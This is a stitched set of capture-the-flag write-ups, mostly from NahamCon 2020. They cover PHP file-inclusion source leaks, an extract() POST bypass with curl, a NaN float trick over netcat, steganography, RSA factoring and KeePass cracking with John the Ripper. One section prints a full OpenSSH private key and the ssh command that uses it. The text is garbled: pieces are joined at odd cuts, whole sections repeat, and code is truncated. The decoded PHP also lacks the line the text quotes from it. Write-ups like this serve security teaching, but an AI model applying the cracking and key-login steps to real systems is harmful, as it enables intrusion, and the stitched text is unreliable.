```PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KICA8aGVhZD4KICAgIDxtZXRhIGNoYXJzZXQ9InV0Zi04Ij4KICAgIDx0aXRsZT5QaHBob25lYm9vazwvdGl0bGU+CiAgICA8bGluayBocmVmPSJtYWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ij4KICA8L2hlYWQ+CiAgPGJvZHk+Cgk8P3BocAoJCSRmaWxlPSRfR0VUWydmaWxlJ107CgkJaWYoIWlzc2V0KCRmaWxlKSkKCQl7CgkJCWVjaG8gIlNvcnJ5ISBZb3UgYXJlIGluIC9pbmRleC5waHAvP2ZpbGU9IjsKCQl9IGVsc2UKCQl7CgkJCWluY2x1ZGUoc3RyX3JlcGxhY2UoJy5waHAnLCcnLCRfR0VUWydmaWxlJ10pLiIucGhwIik7CgkJCWRpZSgpOwoJCX0KCT8+CgkgIAk8cD5UaGUgcGhvbmVib29rIGlzIGxvY2F0ZWQgYXQgPGNvZGU+cGhwaG9uZWJvb2sucGhwPC9jb2RlPjwvcD4KCjxkaXYgc3R5bGU9InBvc2l0aW9uOmZpeGVkOyBib3R0b206MSU7IGxlZnQ6MSU7Ij4KPGJyPjxicj48YnI+PGJyPgo8Yj4gTk9UIENIQUxMRU5HRSBSRUxBVEVEOjwvYj48YnI+VEhBTksgWU9VIHRvIElOVElHUklUSSBmb3Igc3VwcG9ydGluZyBOYWhhbUNvbiBhbmQgTmFoYW1Db24gQ1RGIQo8cD4KPGltZyB3aWR0aD02MDBweCBzcmM9Imh0dHBzOi8vZDI0d3VxNm85NTFpMmcuY2xvdWRmcm9udC5uZXQvaW1nL2V2ZW50cy9pZC80NTcvNDU3NzQ4MTIxL2Fzc2V0cy9mN2RhMGQ3MThlYjc3YzgzZjVjYjYyMjFhMDZhMmY0NS5pbnRpLnBuZyI+CjwvcD4KPC9kaXY+CgogIDwvYm9keT4KIDwvaHRtbD4=```and decoding this from base64 gives us the code:
```php
<html lang="en"> <head> <meta charset="utf-8"> <title>Phphonebook</title> <link href="main.css" rel="stylesheet"> </head> <body> The phonebook is located at phphonebook.php
The phonebook is located at phphonebook.php
<div style="position:fixed; bottom:1%; left:1%;"> NOT CHALLENGE RELATED:THANK YOU to INTIGRITI for supporting NahamCon and NahamCon CTF!</div>
</body></html>```
we can now tell by this line `include(str_replace('.php','',$_GET['file']).".php");` that we only leak php files as the code removes the php extension from the file given as input (if there is one) and then appends a php extension to it, I think that there are ways to go around this but it is not important for this challenge, doing the same for phphonebook.php gives us this code:
```php
<html lang="en"> <head> <meta charset="utf-8"> <title>Phphonebook</title> <link href="main.css" rel="stylesheet"> </head>
<body class="bg"> <h1 id="header"> Welcome to the Phphonebook </h1>
<div id="im_container">
This phphonebook was made to look up all sorts of numbers! Have fun...
This phphonebook was made to look up all sorts of numbers! Have fun...
</div> <div> <form method="POST" action="#"> <label id="form_label">Enter number: </label> <input type="text" name="number"> <input type="submit" value="Submit"> </form> </div>
<div id="php_container"> </div>
<div style="position:fixed; bottom:1%; left:1%;"> NOT CHALLENGE RELATED:THANK YOU to INTIGRITI for supporting NahamCon and NahamCon CTF!</div>
</body></html>```by the end of the code there is a php segment where the method extract is used on $\_POST and then there is a check if $emergency is set, if so the code echoes the content of a file called flag.txt.\this is really interesting, I'll explain the gist of it mainly because I'm not so strong at php, the $_POST is the array of variables passed to the script when an HTTP POST request is sent to it (we commonly use 2 type of HTTP request, POST and GET, where GET asks from the server to return some resource for example the source for a page, and POST also sends variables to a file in the server in the request body), the extract method extracts the variables from the array, the extracted variable name is set to the name passed in the HTTP request and the value is set to the corresponding value, the isset method just checks if there is a variable with this name, by all this we can infer that we need to send a POST request to the server with a variable named emergency which has some arbitrary value in order to get the server to print the flag, we can do so using curl or using a proxy like burp suite like I will show first, we need to set burp suite as our proxy and send a post request to the server, we can do such that using the submit button in the phphonebook page:

burp suite catches the request and allows us to edit it:

we now only need to add an emergency variable and we get the flag:


with curl we can simply use the following command `curl -X POST --data "emergency=1" http://jh2i.com:50002/phphonebook.php` and by using that and grepping for the flag format we can easily get the flag:

**Resources:*** File Inclusion Vulnerabilities: https://www.offensive-security.com/metasploit-unleashed/file-inclusion-vulnerabilities/* HTTP request methods: https://www.w3schools.com/tags/ref_httpmethods.asp* Payload all the things - File Inclusion: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion |
They give you a file without an extension, and hint that the “sub bit” contains some hidden data.
When I opened the file in hex fiend, I could see the header of `RIFF‡ı∏WAVEfmt`, indicating that it was a wav file. So I looked for a wav library, pulled out the samples, and tried to figure out where it might be hiding.
There were two channels, left and right, and 16 bits for samples. I tried looking in the LSB of each channel, both channels, putting the bits together into bytes, but didn’t find anything interesting. It was my teammate that tried the LSB of each byte, which ended up being correct.
Here’s the final code, with some comments:
```package main
import ( "fmt" "io" "os"
wav "github.com/youpy/go-wav")
func main() { file, _ := os.Open("problem") defer file.Close() reader := wav.NewReader(file)
arr := make([]byte, 4096) var buildingByte byte var bitPosition int for { // this code was originally broken up like this to read samples // and get the left and right sample LSB n, err := reader.Read(arr) if err == io.EOF { break } for _, b := range arr[:n] { // when we've filled the byte (8 bits) if bitPosition == 8 { // skip common bytes we don't care about // ... discovered after running if buildingByte != 0 && buildingByte != '#' { fmt.Printf("%c", buildingByte) } // reset byte and position buildingByte = 0 bitPosition = 0 } // shift and or the bit into position buildingByte |= ((b & 0x1) << (7 - bitPosition)) bitPosition++ } }}```
and the output:
Defenit{Y0u_knOw_tH3_@uD10_5t39@No9rAphy?!} |
# Teleport
## Description
```Challenge instance ready at 88.198.219.20:54778.
One of our admins plays a strange game which can be accessed over TCP. He's been playing for a while but can't get the flag! See if you can help him out.```
Category: Miscellaneous
## Analysis
Let's check out the code first:
```pythonimport math
x = 0.0z = 0.0flag_x = 10000000000000.0flag_z = 10000000000000.0print("Your player is at 0,0")print("The flag is at 10000000000000, 10000000000000")print("Enter your next position in the form x,y")print("You can move a maximum of 10 metres at a time")for _ in range(100): print(f"Current position: {x}, {z}") try: move = input("Enter next position(maximum distance of 10): ").split(",") new_x = float(move[0]) new_z = float(move[1]) except Exception: continue diff_x = new_x - x diff_z = new_z - z dist = math.sqrt(diff_x ** 2 + diff_z ** 2) if dist > 10: print("You moved too far") else: x = new_x z = new_z if x == 10000000000000 and z == 10000000000000: print("ractf{#####################}") break```
The goal is to print the flag, so we need to get down to this block:
```python if x == 10000000000000 and z == 10000000000000: print("ractf{#####################}") break```
But we get a max distance of 10 each move.
```kali@kali:~/Downloads/ractf$ python3 teleport.py Your player is at 0,0The flag is at 10000000000000, 10000000000000Enter your next position in the form x,yYou can move a maximum of 10 metres at a timeCurrent position: 0.0, 0.0Enter next position(maximum distance of 10): 10,10You moved too farCurrent position: 0.0, 0.0Enter next position(maximum distance of 10): 4,6Current position: 4.0, 6.0Enter next position(maximum distance of 10): 6,4Current position: 6.0, 4.0Enter next position(maximum distance of 10): 10,10Current position: 10.0, 10.0Enter next position(maximum distance of 10): 14,16Current position: 14.0, 16.0Enter next position(maximum distance of 10): 20,20Current position: 20.0, 20.0```
This limit is a problem, because we only get 100 moves.
```pythonfor _ in range(100): print(f"Current position: {x}, {z}")```
Look where it takes the input though:
```python move = input("Enter next position(maximum distance of 10): ").split(",") new_x = float(move[0]) new_z = float(move[1])```
Floats do have some weird corner cases. We need to look up the documentation for `float()` to find out what special values it accepts.
* <https://docs.python.org/3/library/functions.html#float>
What happens with `inf` and `nan`?
```Enter next position(maximum distance of 10): inf,infYou moved too farCurrent position: 20.0, 20.0Enter next position(maximum distance of 10): nan,nanCurrent position: nan, nanEnter next position(maximum distance of 10): 1000,1000Current position: 1000.0, 1000.0```
Bingo! `nan` lets us move wherever we want. Apparently anything involving `nan` is always `nan`, and comparisons to actual numbers are always `False`:
```python.console>>> float('nan') - 1000nan>>> math.sqrt(float('nan') ** 2)nan>>> float('nan') > 10False>>> float('nan') < 10False```
## Solution
Now we just have to use this trick on the challenge server to get the flag.
```$ nc 88.198.219.20 54778Your player is at 0,0The flag is at 10000000000000, 10000000000000Enter your next position in the form x,yYou can move a maximum of 10 metres at a timeCurrent position: 0.0, 0.0Enter next position(maximum distance of 10): nan,nanCurrent position: nan, nanEnter next position(maximum distance of 10): 10000000000000,10000000000000ractf{fl0at1ng_p01nt_15_h4rd}```
The flag is:
```ractf{fl0at1ng_p01nt_15_h4rd}```
|
```$ python -c 'print("6\n1\n"+"5\n"*30000+"6\n5\n1\n")' | nc jh2i.com 50031 | grep flagHere's your flag: flag{it_was_in_fact_you_that_was_really_powerful}``` |
We're given RSA values for n, e, and ct:
```n = 7735208939848985079680614633581782274371148157293352904905313315409418467322726702848189532721490121708517697848255948254656192793679424796954743649810878292688507385952920229483776389922650388739975072587660866986603080986980359219525111589659191172937047869008331982383695605801970189336227832715706317e = 65537c = 5300731709583714451062905238531972160518525080858095184581839366680022995297863013911612079520115435945472004626222058696229239285358638047675780769773922795279074074633888720787195549544835291528116093909456225670152733191556650639553906195856979794273349598903501654956482056938935258794217285615471681```
[factordb](http://factordb.com/) fully factorizes n. However, it's not just a standard p*q (i.e. two prime) result (as the challenge descrption hints at)
In python:
```# pip3.8 install factordb-pycli>>> from factordb.factordb import FactorDB>>>>>> def check_factordb(N):... factorized = FactorDB(N)... factorized.connect()... factor_list = factorized.get_factor_list()... print(factor_list)... return factor_list...>>> a = check_factordb(7735208939848985079680614633581782274371148157293352904905313315409418467322726702848189532721490121708517697848255948254656192793679424796954743649810878292688507385952920229483776389922650388739975072587660866986603080986980359219525111589659191172937047869008331982383695605801970189336227832715706317)[2208664111, 2214452749, 2259012491, 2265830453, 2372942981, 2393757139, 2465499073, 2508863309, 2543358889, 2589229021, 2642723827, 2758626487, 2850808189, 2947867051, 2982067987, 3130932919, 3290718047, 3510442297, 3600488797, 3644712913, 3650456981, 3726115171, 3750978137, 3789130951, 3810149963, 3979951739, 4033877203, 4128271747, 4162800959, 4205130337, 4221911101, 4268160257]>>> len(a)32```
There's 32 prime factors! So we need to then do RSA with each of these values as a prime.
In order to calculate phi, we must now do:
```phi = (prime0 - 1) * (prime1 - 1) * ... * (prime31 - 0)```
In java:
``` BigInteger phi = new BigInteger("1"); for (int i=0; i |
# Easy Keesy
Author: [roerohan](https://github.com/roerohan)
The file downloaded is a password protected Keepass file. You bruteforce the password using `John the Ripper` and you open the file to see the flag.
# Requirements
- John the Ripper- keepass2john
# Source
```Dang it, not again...
Download the file below.
[easy_keesy](https://ctf.nahamcon.com/files/4ae2a2f6c8aaca62ed67141489e995d0/easy_keesy?token=eyJ1c2VyX2lkIjoyMzk2LCJ0ZWFtX2lkIjpudWxsLCJmaWxlX2lkIjozMH0.XuYl2A.3KcnraGOdGA0MCn9yVrweyEto-E)```
The file is included in the repo as well: [easy_keesy](./easy_keesy).
# Exploitation
First, we check what kind of a file it actually is. The Linux `file` can be used for this.
```bash$ file easy_keesy easy_keesy: Keepass password database 2.x KDBX```
So, this is a password protected `keepass` file. We're going to use `John the Ripper` to bruteforce the password. But, before that, we need to convert the file into a format `John` can read.
```bashkeepass2john easy_keesy > ek```
The output from the `keepass2john` tool is now saved in a file `ek`. Now, you just run `john ek` and wait till you get a password. The valid password obtained is `monkeys`.
Now, just open the keepass file, enter the password, and read the flag. |
# **NahamCon CTF 2020**
This is my writeup for the challenges in NahamCon CTF, I mainly focused on cryptography, steganography and OSINT.***# Table of Contents
* [Warmup](#warmup) - [Read The Rules](#read-the-rules) - [CLIsay](#clisay) - [Metameme](#metameme) - [Mr.robot](#mr-robot) - [UGGC](#uggc) - [Easy Keesy](#easy-keesy) - [Peter Rabbit](#peter-rabbit) - [Pang](#pang)* [OSINT](#osint) - [Time Keeper](#time-keeper) - [New Years Resolution](#new-years-resolution) - [Finsta](#finsta) - [Tron](#tron)* [Steganography](#steganography) - [Ksteg](#ksteg) - [Doh](#doh) - [Beep Boop](#beep-boop) - [Snowflake](#snowflake) - [My Apologies](#my-apologies) - [Dead Swap](#dead-swap) - [Walkman](#walkman) - [Old School](#old-school)* [Cryptography](#cryptography) - [Docxor](#docxor) - [Homecooked](#homecooked) - [Twinning](#twinning) - [Ooo-la-la](#ooo-la-la) - [Unvreakable Vase](#unvreakable-vase) - [December](#december) - [Raspberry](#raspberry)* [Forensics](#forensics) - [Microsooft](#microsooft) - [Cow Pie](#cow-pie)* [Mobile](#mobile) - [Candroid](#candroid) - [Simple App](#simple-app) - [Ends Meet](#ends-meet)* [Miscellaneous](#miscellaneous) - [Vortex](#vortex) - [Fake file](#fake-file) - [Alkatraz](#alkatraz) - [Trapped](#trapped) - [Awkward](#awkward)* [Scripting](#scripting) - [Dina](#dina) - [Rotten](#rotten) - [Really powerful Gnomes](#really-powerful-gnomes)* [Web](#web) - [Agent 95](#agent-95) - [Localghost](#localghost) - [Phphonebook](#phphonebook)***# Warmup
## Read The RulesPlease follow the rules for this CTF!
Connect here:https://ctf.nahamcon.com/rules
**flag{we_hope_you_enjoy_the_game}**
**Solution:** The flag is commented close to the end of the source code for the rules pages, right after the elements for the prizes:

## CLIsaycowsay is hiding something from us!
Download the file below.
[clisay](assets//files/clisay)
**flag{Y0u_c4n_r3Ad_M1nd5}**
**Solution:** With the challenge we are given an ELF file (a type of Unix executable), by running it we get:

well that didn't give us much, we can check if there are printable strings in the file by using the strings command on it, doing that gives us the flag:

notice that you need to append the two parts of the flag together (the strings after and before the ascii art).
**Resources:*** strings man page: https://linux.die.net/man/1/strings* ELF file: https://en.wikipedia.org/wiki/Executable_and_Linkable_Format
## MetamemeHacker memes. So meta.
Download the file below.
[hackermeme.jpg](assets//images//hackermeme.jpg)
**flag{N0t_7h3_4cTuaL_Cr3At0r}**
**Solution:** With the challenge we get this image:

We can guess by the name of the challenge and its description that there is something in the metadata of the image, so we can use exiftool on it, exiftool allows you to see the metadata of an image, and by using it we get the flag:

**Resources:*** Exif: https://en.wikipedia.org/wiki/Exif* exiftool: https://linux.die.net/man/1/exiftool
## Mr. RobotElliot needs your help. You know what to do.
Connect here:\http://jh2i.com:50032
**flag{welcome_to_robots.txt}**
**Solution:** With the challenge we get a url to a website:

There doesn't seem to be much in the index page, but we can guess by the name of the challenge that there is something in the robots.txt file for the website, robots.txt is a file which helps search engines (crawlers in general) to index the site correctly, in most sites nowadays there is a robots.txt file, if we look at the file ( the link is http://jh2i.com:50032/robots.txt ) we get the flag:

**Resources:*** Introduction to robots.txt: https://support.google.com/webmasters/answer/6062608?hl=en
## UGGCBecome the admin!
Connect here:\http://jh2i.com:50018
**flag{H4cK_aLL_7H3_C0okI3s}**
**Solution:** With the challenge we get a url to a website and it seems that we can login to the it using the index page:

By the description we know that we need to login as admin, but if we try using admin as our username we get the following:

But we can login with any other username:

If we try to refresh the page or open it in another tab it seems that the login is saved, which means that the site is using cookies, because HTTP connection is stateless (doesn't save the state of the connection server-side) and because sometimes the server needs to know who is the user in a session it saves cookies on the computer of the user, cookies are data which is most of the time encrypted and sent with HTTP requests to helps the server recognize the user, we can see the cookies of the site by using the inspector tool in the browser:

we can see that the cookie for the site bares a strange similarity to the username I used, that is because the cookie is encrypted using ceaser cipher, a type of substitution cipher where each letter is replaced by the letter with a specific offset from it, in our case with the offset of 13, so a becomes n, b becomes o and so on, a ceaser cipher with offset of 13 is also called a ROT13 cipher, now that we know the cipher used on the cookie we can change our cookie to being that of the admin, we can use cyberchef to do that:

now we only need to change the value of the cookie to the ciphertext corresponding to admin (we can use the browser inspector tool for that) and we get the flag:

**Resources:*** HTTP cookie: https://en.wikipedia.org/wiki/HTTP_cookie* Ceaser cipher: https://en.wikipedia.org/wiki/Caesar_cipher* Cyberchef: https://gchq.github.io/CyberChef/
## Easy KeesyDang it, not again...
Download the file below.
[easy_keesy](assets//files//easy_keesy)
**flag{jtr_found_the_keys_to_kingdom}**
**Solution:** With the challenge we get a file with an unknown format, we can use the file command to see that the file is a KeePass database:

This type of files are databases used to keep passwords on the computer 'safely', there are many password managers to view this kind of files but I used KeeWeb for this challenge mostly because it is a web tool, if we try to open the file with it we can quickly notice that we don't have the password for doing that, furthermore there aren't any mentions of a password in the file or in the description of the challenge, so it seems we need to bruteforce for the password.\Passwords are commonly saved as hashes, hashes are data created using cryptographic hash functions which are one way functions (easy to find an hash for a password, hard to find a password for the hash) who are also able to return a value with a fixed length to any file with any size, a simple example for an hash function is the algorithm shown in the December challenge with the slight modification that only the last block of the cipher is returned, hashes are great because it is easy to validate a value using them as you can just as hash the value using the hash function and compare the hashes, but, it is hard to get the value from an hash.\In the case of a KeePass database file, the password for the database, which is called a master password, is saved as an hash in the file in order for a password manager to verify it, this is not a smart idea to save the password locally like that but it's good for us.\To find the password I used a dictionary attack, this type of attack uses a known database in order to find the right data, in the case of password cracking we use a database of passwords, preferably ordered by most frequently used to least frequently used, we will hash each password and compare it to the hash we have until we'll find a password with the same one, this does not guarantee that we found the correct password (an hash collision can occur) but most probably it will find the correct one, the dictionary I used is called rockyou.txt which lists common passwords. for executing the attack I used John the Ripper, a great tool for cracking hashes using a dictionary, I first converted the file to something john can use and then used john with rockyou.txt to crack the password by executing the following commands:
```bashkeepass2john easy_keesy > kpjohn --wordlist=/usr/share/wordlists/rockyou.txt -format:keepass kp```by doing that we get that the password for the file is monkeys, if we try using it in KeeWeb we are given access to the database and we get the flag:

**Resources:*** file man page: https://linux.die.net/man/1/file* KeePass: https://en.wikipedia.org/wiki/KeePass* KeeWeb: https://keeweb.info/* rockyou.txt: https://wiki.skullsecurity.org/Passwords* John the Ripper: https://tools.kali.org/password-attacks/john* cryptographic hash function (CHF): https://en.wikipedia.org/wiki/Cryptographic_hash_function
## Peter RabbitLittle Peter Rabbit had a fly upon his nose, and he flipped it and he flapped it and it flew away!
Download the file below.\[peter.png](assets//images//peter.png)
**Post CTF Writeup**
**flag{ohhhpietwastherabbit}**
**Solution:** With the challenge we are given the following PNG image:

this is actually an esoteric programming language called piet, named after the artist Piet Mondrian, we can use an interpreter to execute the script (I linked the one I used in the resources), by doing so we get the flag:

**Resources:*** Piet: https://www.dangermouse.net/esoteric/piet.html* Esoteric Programming Language: https://en.wikipedia.org/wiki/Esoteric_programming_language* Piet online interpreter: https://www.bertnase.de/npiet/npiet-execute.php
## PangThis file does not open!
Download the file below.
[pang](assets//files//pang)
**flag{wham_bam_thank_you_for_the_flag_maam}**
**Solution:** With the challenge we get a unknown file, we can use the file command to see that this is a PNG image, but it seems we can't open the image in an image viewer, so we can guess that the image is corrupted, we can verify that by using a tool called pngcheck:

The tool tells us that there is an CRC error in the IHDR chunk, the IHDR is the first chunk in a PNG image and the CRC value is a value stored for every chunk in the image to verify the authenticity of the data (I explained more about CRC and IHDR in my writeup for the challenges in RACTF 2020 listed in the resources).\We can fix the image by changing value of the CRC, I prefer to do it using an hex viewer so we can have a clear understanding of the data, the changes are marked in red:

and by saving the modified file and viewing it again we get the flag:

**Resources:*** pngcheck man page: https://man.cx/pngcheck(1)* PNG file format specification: http://www.libpng.org/pub/png/spec/1.2/PNG-Contents.html* RACTF 2020 writeup for stego challenges: https://github.com/W3rni0/RACTF_2020#steg--forensics* HxD: https://mh-nexus.de/en/hxd/
***# OSINT
## Time KeeperThere is some interesting stuff on this website. Or at least, I thought there was...
Connect here:\https://apporima.com/
**JCTF{the_wayback_machine}**
**Solution:** We are given a url of a site with the challenge, as the challenge suggests we need to look at older versions of the site, the current version is:

we can use a site called Wayback Machine (linked in resources) to view older versions of sites, it seems that there is only one older version of the site from the 18th of april, and there is a snapshot of the index page:

link to the snapshot:`https://web.archive.org/web/20200418214642/https://apporima.com/`
You can see that the first blog post from the older version can't be found in the current version, furthermore it suggests that the flag is in the web server of the site under /flag.txt, trying to view the file in the current version gives us 404 error, but if we try to view older version of it in the the wayback machine we get the flag:

**Resources:*** Wayback Machine: https://archive.org/web/
## New Years ResolutionThis year, I resolve to not use old and deprecated nameserver technologies!
Connect here: jh2i.com
**flag{next_year_i_wont_use_spf}**
**Solution:** We can infer from the name of the challenge and the description that it has something to do with nameservers, nameserver are servers which handle resolving human-readable identifiers to numberical identifiers, in the case of web server, nameserver handle providing responses to queries on domain names, usually converting urls to IP addresses but not always, we can view this responses using the dig command, in our case we want to view all the type of responses availiable (the more the merrier), we can do this by writing ANY after the command, the full command is:
`dig jh2i.com ANY`
and we have our flag in the output of the command:

**Resources:*** Name server: https://en.wikipedia.org/wiki/Name_server* DNS protocol: https://tools.ietf.org/html/rfc1034* dig man tool: https://linux.die.net/man/1/dig
## Finsta
This time we have a username. Can you track down `NahamConTron`?
**flag{i_feel_like_that_was_too_easy}**
**Solution:** In this challenge we need to track down a username, luckily there is a tool called Sherlock that does just that, it searches popular sites such as GitHub, Twitter, Instagram and etc. for an account with the given username, and returns a list to the profiles, we can run it using the following command:
`python3 sherlock NahamConTron`
and the commands returns the following list of accounts:
```https://www.github.com/NahamConTronhttps://www.instagram.com/NahamConTronhttps://www.liveleak.com/c/NahamConTronhttps://www.meetme.com/NahamConTronhttps://forum.redsun.tf/members/?username=NahamConTronhttps://www.twitter.com/NahamConTronTotal Websites Username Detected On : 6```
by looking at the instegram account we can find our flag at the accout description:

**Resources:*** Sherlock: https://github.com/sherlock-project/sherlock
## Tron
NahamConTron is up to more shenanigans. Find his server.
**flag{nahamcontron_is_on_the_grid}**
**Solution:** Taking a look back at the list Sherlock returned in the previous challenge we can see that there is an account in github with this username, let's take a look at it:

there are 2 repositories for the user:

the second one is not very helpful:

but the first one has some interesting files:

the first file to pop into view is the .bash_history file, it contains the command history of a user and can reveal sensitive information about the user activity, in our case it contains the following line:```bashssh -i config/id_rsa [email protected] -p 50033```so we now know the user has connected to a server using the SSH protocol (Secure Shell protocol) with an SSH private key, and we also know that the key is in a config folder .... interesting, maybe it is the same folder as the one in the repo?

yeah it is!, the private key is:
```-----BEGIN OPENSSH PRIVATE KEY-----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-----END OPENSSH PRIVATE KEY-----```
and we can connect to the server, using the same command, and in the server we find our flag:

***# Steganography
## KstegThis must be a typo.... it was kust one letter away!
Download the file below.
[luke.jpg](assets//images//luke.jpg)
**flag{yeast_bit_steganography_oops_another_typo}**
**Solution:** With the challenge we get the following JPEG image:
This is my writeup for the challenges in NahamCon CTF, I mainly focused on cryptography, steganography and OSINT.***# Table of Contents
* [Warmup](#warmup) - [Read The Rules](#read-the-rules) - [CLIsay](#clisay) - [Metameme](#metameme) - [Mr.robot](#mr-robot) - [UGGC](#uggc) - [Easy Keesy](#easy-keesy) - [Peter Rabbit](#peter-rabbit) - [Pang](#pang)* [OSINT](#osint) - [Time Keeper](#time-keeper) - [New Years Resolution](#new-years-resolution) - [Finsta](#finsta) - [Tron](#tron)* [Steganography](#steganography) - [Ksteg](#ksteg) - [Doh](#doh) - [Beep Boop](#beep-boop) - [Snowflake](#snowflake) - [My Apologies](#my-apologies) - [Dead Swap](#dead-swap) - [Walkman](#walkman) - [Old School](#old-school)* [Cryptography](#cryptography) - [Docxor](#docxor) - [Homecooked](#homecooked) - [Twinning](#twinning) - [Ooo-la-la](#ooo-la-la) - [Unvreakable Vase](#unvreakable-vase) - [December](#december) - [Raspberry](#raspberry)* [Forensics](#forensics) - [Microsooft](#microsooft) - [Cow Pie](#cow-pie)* [Mobile](#mobile) - [Candroid](#candroid) - [Simple App](#simple-app) - [Ends Meet](#ends-meet)* [Miscellaneous](#miscellaneous) - [Vortex](#vortex) - [Fake file](#fake-file) - [Alkatraz](#alkatraz) - [Trapped](#trapped) - [Awkward](#awkward)* [Scripting](#scripting) - [Dina](#dina) - [Rotten](#rotten) - [Really powerful Gnomes](#really-powerful-gnomes)* [Web](#web) - [Agent 95](#agent-95) - [Localghost](#localghost) - [Phphonebook](#phphonebook)***# Warmup
## Read The RulesPlease follow the rules for this CTF!
Connect here:https://ctf.nahamcon.com/rules
**flag{we_hope_you_enjoy_the_game}**
**Solution:** The flag is commented close to the end of the source code for the rules pages, right after the elements for the prizes:

## CLIsaycowsay is hiding something from us!
Download the file below.
[clisay](assets//files/clisay)
**flag{Y0u_c4n_r3Ad_M1nd5}**
**Solution:** With the challenge we are given an ELF file (a type of Unix executable), by running it we get:

well that didn't give us much, we can check if there are printable strings in the file by using the strings command on it, doing that gives us the flag:

notice that you need to append the two parts of the flag together (the strings after and before the ascii art).
**Resources:*** strings man page: https://linux.die.net/man/1/strings* ELF file: https://en.wikipedia.org/wiki/Executable_and_Linkable_Format
## MetamemeHacker memes. So meta.
Download the file below.
[hackermeme.jpg](assets//images//hackermeme.jpg)
**flag{N0t_7h3_4cTuaL_Cr3At0r}**
**Solution:** With the challenge we get this image:

We can guess by the name of the challenge and its description that there is something in the metadata of the image, so we can use exiftool on it, exiftool allows you to see the metadata of an image, and by using it we get the flag:

**Resources:*** Exif: https://en.wikipedia.org/wiki/Exif* exiftool: https://linux.die.net/man/1/exiftool
## Mr. RobotElliot needs your help. You know what to do.
Connect here:\http://jh2i.com:50032
**flag{welcome_to_robots.txt}**
**Solution:** With the challenge we get a url to a website:

